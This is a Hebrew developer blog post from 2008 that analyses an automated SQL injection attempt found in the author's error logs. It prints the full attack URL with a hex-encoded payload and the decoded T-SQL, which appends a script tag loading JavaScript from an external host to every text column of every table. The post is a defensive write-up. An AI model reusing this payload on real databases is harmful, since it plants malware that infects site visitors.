DCSIMG
נסיון מעניין ל-SQL Injection משולב ב-XSS - מאחורי המסך

מאחורי המסך

משה למפרט, על תכנות מתקדם וביצועים ב-Web.

על הבלוג

עוד חדשות

אתרים שיש לי בהם יד ורגל

נסיון מעניין ל-SQL Injection משולב ב-XSS

בהרבה מדי דפים שלי אין שימוש בפונקציה TryParse לגבי חלק מהפרמטרים (אלא ב-Cast בסיסי), וכך אני מקבל מדי פעם הודעות שגיאה על נסיונות פריצה אוטומאטיים מעניינים יותר או פחות.

הנה הכתובת:

http://www.israelnationalnews.com/Subscribe/Preview.aspx?type=1';DeCLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));ExEC(@S);

זה כבר מאוד סיקרן אותי. פתחתי את ה-Query Browser וכתבתי כך:

select 0x4445434C41....

ובכן, זה מה שמצאתי. לא צריך לדעת לכתוב פרוצדורות שמורות ל-MySQL כדי להבין מה יש כאן:

DECLARE @T varchar(255),@C varchar(4000) 
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN 
    exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><scr‎ipt src="http://www3.800mg.cn/csrss/w.js"></scr‎ipt><!--'' where '+@C+' not like ''%"></title><scr‎ipt src="http://www3.800mg.cn/csrss/w.js"></scr‎ipt><!--''')

FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

בעצם מדובר בנסיון לעבור על כל הטבלאות ולהכניס לתוכם סקריפט זדוני, מה שלא צלח אצלי בשרת, אבל עלול לצלוח אצל אחרים. מעניין מאוד שהם מנסים את התקיפה הזו עבור אתרים שרצים על ASP.net, בה-בעת שמספר האתרים שמריצים ASP.net עם MySQL אינו כ"כ גבוה.

פורסם: Aug 16 2008, 01:50 PM by Moshe L | with no comments
תגים:, , ,